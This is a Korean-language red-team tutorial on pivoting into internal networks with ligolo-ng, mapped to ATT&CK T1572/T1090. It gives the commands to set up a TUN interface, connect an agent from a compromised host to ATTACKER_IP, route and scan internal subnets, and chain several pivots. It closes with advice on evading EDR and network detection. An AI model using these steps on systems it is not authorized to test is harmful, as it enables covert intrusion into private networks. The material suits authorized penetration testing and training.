ATT&CK: T1572 Protocol Tunneling, T1090 Proxy · Command and Control (TA0011)
chisel의 SOCKS5는 TCP만 지원해서 DNS·UDP 스캔·ICMP ping이 다 안 된다. ligolo-ng는 공격자 측에 TUN 가상 인터페이스를 띄우고 라우팅 테이블로 내부망을 “진짜 인터페이스처럼” 보이게 한다 — 결과적으로 UDP/ICMP 포함 모든 트래픽이 터널로 들어간다.
1. 설치
# 공격자: proxy 모드
curl -L https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_<ver>_linux_amd64.tar.gz | tar xz
./proxy -h
# 피벗 호스트: agent 모드
# 같은 저장소의 agent 바이너리를 피벗 호스트에 올림
2. 공격자 측 — TUN 생성
# 가상 인터페이스
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# proxy 띄우기 (self-signed TLS 기본)
./proxy -selfcert
prompt 출력:
ligolo-ng »
3. 피벗 측 — agent 접속
# 피벗 호스트에서
./agent -connect ATTACKER_IP:11601 -ignore-cert
ligolo prompt에 세션 뜸:
INFO Agent joined. name=HOSTNAME@user id=1
세션 선택:
ligolo-ng » session
? Specify a session : 1
4. 내부 네트워크 라우팅
4.1 피벗 호스트가 접근 가능한 서브넷 추가
# 공격자 머신 (호스트 shell, 세션 외부)
sudo ip route add 10.0.0.0/24 dev ligolo
4.2 터널 시작
[Session 1] » start
이제 공격자 머신에서 10.0.0.0/24로 가는 모든 트래픽이 TUN을 거쳐 피벗 호스트에서 송신됨.
4.3 확인
# 공격자 머신
ping 10.0.0.5 # ICMP 가능!
nmap -sU -p53 10.0.0.5 # UDP 스캔 가능!
dig @10.0.0.10 corp.local # DNS 질의 가능!
chisel/SOCKS로는 전부 불가능하던 작업이 전부 됨.
5. 역방향 접근 — 피벗이 공격자 쪽을 공격
가끔 피벗 호스트가 공격자 머신 쪽으로 접근해야 할 때(파일 전송 등):
[Session 1] » listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000
피벗 호스트의 8000 포트가 공격자 머신의 127.0.0.1:8000으로 포워딩.
6. 다단계 pivot
Agent를 여러 호스트에 설치 → 각각 세션으로 등록 → 각 세션마다 다른 라우트.
ligolo-ng » session
? Specify a session : 2 # 두 번째 피벗
[Session 2] » start
공격자 머신에서는 라우트 테이블로 “어느 서브넷은 어느 세션으로 보낼지” 설정.
7. chisel vs ligolo-ng 선택 가이드
| 상황 | 추천 |
|---|---|
| 단순 TCP 접근, 설정 간단 | chisel |
| UDP/ICMP/DNS 필요 | ligolo-ng |
nmap -sU 또는 Kerberos |
ligolo-ng |
| 피벗 호스트에 root 없음 | chisel (ligolo agent는 non-root OK, proxy는 root 필요) |
| HTTPS egress만 열림 | chisel (WebSocket), ligolo도 자체 TLS |
ligolo-ng가 더 유연하지만 공격자 측에 TUN 생성 권한 필요 → root 또는 CAP_NET_ADMIN.
8. OPSEC
- agent 바이너리는 ligolo-ng 시그니처로 EDR이 상당수 탐지. 커스텀 빌드/리네이밍 필수.
- 공격자 측 self-cert는 특이한 TLS 지문. 가능하면 Let’s Encrypt + 올바른 호스트명으로.
- TUN 모드는 트래픽 패턴이 “일반 사용자가 생성 안 하는” 조합 — 피벗 호스트의 NDR이 특이 패턴으로 포착할 수 있음.
참고
- nicocha30/ligolo-ng
- MITRE ATT&CK — T1572